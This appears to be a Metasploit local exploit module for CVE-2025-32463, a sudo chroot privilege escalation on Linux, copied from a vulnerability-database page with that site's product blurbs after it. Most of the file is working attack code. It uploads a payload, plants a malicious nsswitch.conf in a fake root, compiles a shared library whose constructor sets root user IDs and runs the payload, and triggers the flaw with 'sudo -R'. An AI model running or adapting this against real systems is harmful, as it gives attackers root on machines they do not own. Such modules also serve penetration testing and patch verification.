##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Packages
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation',
'Description' => %q{
Sudo before version 1.19.17p1 allows user to use `chroot` option, when
executing command. The option is intended to run a command with
user-selected root directory (if sudoers file allow it). Change in version
1.9.14 allows resolving paths via `chroot` using user-specified root
directory when sudoers is still evaluating.
This allows the attacker to trick Sudo into loading arbitrary shared object,
thus resulting in a privilege escalation.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # module dev
'Stratascale', # poc dev
'Rich Mirch' # security research
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'EDB', '52352' ],
[ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'],
[ 'CVE', '2025-32463']
],
'DisclosureDate' => '2025-06-30',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
# force exploit is used to bypass the check command results
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
# borrowed from exploits/linux/local/sudo_baron_samedit.rb
def get_version
versions = {}
output = cmd_exec('sudo --version')
if output
version = output.split("\n").first.split(' ').last
versions[:sudo] = version if version =~ /^\d/
end
versions[:sudo].gsub(/p/, '.')
end
def check
sudo_version = installed_package_version('sudo') || get_version
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank?
return CheckCode::Safe if !file?('/etc/nsswitch.conf')
return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17'))
CheckCode::Safe("Sudo #{sudo_version} is not vulnerable")
end
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end
# needs to compile in real-time to adjust payload execution path
fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile?
payload_file = rand_text_alphanumeric(5..10)
existing_shell = cmd_exec('echo $0 || echo ${SHELL}')
return Failure::NotFound, 'Could not find shell' unless file?(existing_shell)
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}")
register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}")
temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"
base_dir = rand_text_alphanumeric(5..10)
lib_filename = rand_text_alphanumeric(5..10)
mkdir(temp_dir)
cd(temp_dir)
mkdir(base_dir.to_s)
mkdir("#{base_dir}/etc")
mkdir('libnss_')
return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n")
return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group")
exploit_code = %<
#include <unistd.h>
__attribute__((constructor))
void exploit(void) {
setreuid(0,0);
execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL);
}>
upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")
cmd_exec("sudo -R #{base_dir} #{base_dir}")
timeout = 30
print_status 'Launching exploit...'
output = cmd_exec 'command', nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation